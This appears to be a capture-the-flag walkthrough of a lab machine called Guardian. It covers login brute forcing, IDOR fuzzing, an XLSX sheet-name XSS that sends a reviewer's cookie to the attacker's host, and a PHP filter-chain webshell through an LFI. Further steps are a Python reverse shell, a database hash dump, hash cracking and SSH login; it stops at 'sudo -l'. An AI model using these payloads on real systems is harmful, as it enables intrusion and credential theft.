Enum
$ export IP=10.129.240.140
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
*snip*
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEtPLvoTptmr4MsrtI0K/4A73jlDROsZk5pUpkv1rb2VUfEDKmiArBppPYZhUo+Fopcqr4j90edXV+4Usda76kI=
| 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHTkehIuVT04tJc00jcFVYdmQYDY3RuiImpFenWc9Yi6
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel- Add
guardian.htbto/etc/hosts
$ echo "$IP guardian.htb" | sudo tee -a /etc/hosts- Open webpage

- http://portal.guardian.htb/
- Add to
/etc/hosts

- Seems usernames are formatted as
GU[XXX202X]@guardian.htb


- We now can assume Student ID formatting and a default password
- Can generate every possible Student ID (SID) and see if any have not changed default password yet
$ for y in {2023..2025}; do printf "%s\n" GU{000..999}$y; done > SIDS.txt- Now we use
hydrato brute through all accounts and attempt login with default password
$ hydra -L SIDS.txt -p GU1234 portal.guardian.htb http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid" -t 64
[80][http-post-form] host: portal.guardian.htb login: GU0142023 password: GU1234Student ID Login
GU0142023:GU1234Which is actually the first one we saw on the homepage… but good to check them all just in case.


- Chats reveals interesting URLs
- http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
- http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14


- Good opportunity to check IDOR in these parameters
- Grab your cookie
- I used
ffufbut can do however you like - Here is a command to display valid chats in order
$ ffuf -u "http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2" -w <(seq 1 50):FUZZ1 -w <(seq 1 50):FUZZ2 -H "Cookie: PHPSESSID=g6dnb6nel2ikedrr51a1m3u59h" -fs 5761 -s | awk '{print "http://portal.guardian.htb/student/chat.php?chat_users[0]="$3"&chat_users[1]="$6}' | sort -V
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=5
*snip*
Gitea
jamil:DHsNnk3V503
- Add
gitea.guardian.htbto/etc/hosts(a fair assumption) - Login to Gitea


- Two branches :
portal.guardian.htb&guardian.htb - I found it easiest to clone the repos and work locally
- Enum will find you some credentials and important source code
$ git clone http://jamil:DHsNnk3V503@gitea.guardian.htb/Guardian/guardian.htb.git
$ git clone http://jamil:DHsNnk3V503@gitea.guardian.htb/Guardian/portal.guardian.htb.git- Will find password in
/portal.guardian.htb/config/config.php - Also mentions a salt which will be handy later
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];- Within
/portal.guardian.htb/composer.jsonwe findphpspreadsheetversion
{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}- Web searching reveals CVE-2025-22131
- Manually edit a XLSX file to have XSS payload as second sheet name
- Have to encode in order to parse correctly
- Depending on how you create the XLSX may change what you see idk
$ unzip -d pwn pwn.xlsx
Archive: pwn.xlsx
inflating: pwn/docProps/app.xml
inflating: pwn/docProps/core.xml
inflating: pwn/xl/worksheets/sheet1.xml
inflating: pwn/xl/worksheets/sheet2.xml
inflating: pwn/xl/sharedStrings.xml
inflating: pwn/xl/styles.xml
inflating: pwn/[Content_Types].xml
inflating: pwn/_rels/.rels
inflating: pwn/xl/workbook.xml
inflating: pwn/xl/_rels/workbook.xml.rels
# formatted for readibility usually one liner
$ nano pwn/xl/workbook.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<fileVersion rupBuild="14420" lowestEdited="6" lastEdited="6" appName="xl"/>
<bookViews>
<workbookView activeTab="1"/>
</bookViews>
<sheets>
<sheet r:id="rId1" sheetId="1" name="Sheet1"/>
<sheet r:id="rId2" sheetId="2" name=""> <script>fetch('http://<IP>:<PORT>/?reviewerCookie='+document.cookie)</script>"/>
</sheets>
</workbook>- Start a HTTP server
$ python -m http.server 7070- Upload XLSX to only assignment that hasn’t expired yet

- Catch cookie of the reviewer
"GET /?reviewerCookie=PHPSESSID=grf3ns8cd97imqkijtl6oiivch HTTP/1.1" 200 -- Use this cookie in browser to become
sammy.treatand access new UI elements



- Analyzing the source code for
/portal.guardian.htb/admin/reports.phpfrom Gitea repo we spot LFI conditions
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
*snip*
<?php include($report); ?>- Limits to 4 php endpoints (
enrollment.phpacademic.phpfinancial.phpsystem.php) - Expects
/admin/report.php?report=* - Blocks literal
..and not other traversal techniques - Regex allows ANY path so long as it ends with the 4 aforementioned PHP files
- But since we only have the 4 files we cannot LFI other files
- Due to the line
<?php include($report); ?>we can try to use PHP Filter Chains to achieve RCE
User
$ wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/refs/heads/main/php_filter_chain_generator.py- Now we want to generate a PHP webshell for RCE later
$ python php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp- Considering what we discovered in the source earlier we need to craft a URL for the Admin to follow and execute our PHP chain payload
- Should be something like this:

http://portal.guardian.htb/admin/reports.php?report={PHP_CHAIN}{WHITELISTED_PHP}&cmd={RCE_CMD}- Entire full string for a revshell (edit IP and PORT)
http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://tempenrollment.php&cmd=python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'- Have listener running
- Paste payload into the Admin review field and submit

nc -lvnp 6969
listening on [any] 6969 ...
www-data@guardian:~/portal.guardian.htb/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)- We can now access the SQL DB with creds from earlier
root:Gu4rd14n_un1_1s_th3_b3st
www-data@guardian:~/portal.guardian.htb/admin$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb -e "SELECT username,password_hash FROM users;"
+--------------------+------------------------------------------------------------------+
| username | password_hash |
+--------------------+------------------------------------------------------------------+
| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
| GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 |
| GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f |
| GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 |
| GU0762023 | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 |
| GU9492024 | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 |
| GU9612024 | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 |
| GU7382024 | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a |
| GU6632023 | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 |
| GU1922024 | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd |
| GU8032023 | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada |
| GU5852023 | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a |
| GU0712023 | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a |
| GU1592025 | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 |
| GU1112023 | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d |
| GU6432025 | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 |
| GU3042024 | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab |
| GU1482025 | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f |
| GU3102024 | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 |
| GU7232023 | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 |
| GU8912024 | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 |
| GU4752025 | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a |
| GU9602024 | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 |
| GU4382025 | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 |
| GU7352023 | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 |
| GU3042025 | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f |
| GU3872024 | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a |
| GU7462025 | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa |
| GU3902023 | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b |
| GU1832025 | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f |
| GU3052024 | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f |
| GU3612023 | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a |
| GU7022023 | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 |
| GU1712025 | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 |
| GU9362023 | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 |
| GU5092024 | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 |
| GU5252023 | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa |
| GU8802025 | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 |
| GU2222023 | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd |
| GU9802023 | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c |
| GU3122025 | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a |
| GU2062025 | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 |
| GU3992025 | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 |
| GU1662024 | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 |
| GU9972025 | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 |
| GU6822025 | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 |
| GU7912023 | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 |
| GU3622024 | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf |
| GU2002023 | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 |
| GU3052023 | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 |
| GU1462023 | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 |
+--------------------+------------------------------------------------------------------+- But we do not need to try and crack all of these users as we can see within
/homethere are few options
www-data@guardian:~/portal.guardian.htb/admin$ ls /home
gitea jamil mark sammy- Create a hashlist of only these matching users
- Recall the salt
8Sb)tM1vs1SSwe found earlier in Gitea repo, and append based on Hashcat Examples
hashes.txt
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
- Now crack with hashcat
$ hashcat -m 1410 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56- Hash corresponds to
jamil:copperhouse56 - Reusing password for SSH shows valid creds
$ sshpass -p 'copperhouse56' ssh jamil@guardian.htb
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
jamil@guardian:~$ ls
user.txtRoot
- Always check sudo privs
jamil@guardian:~$ sudo -l
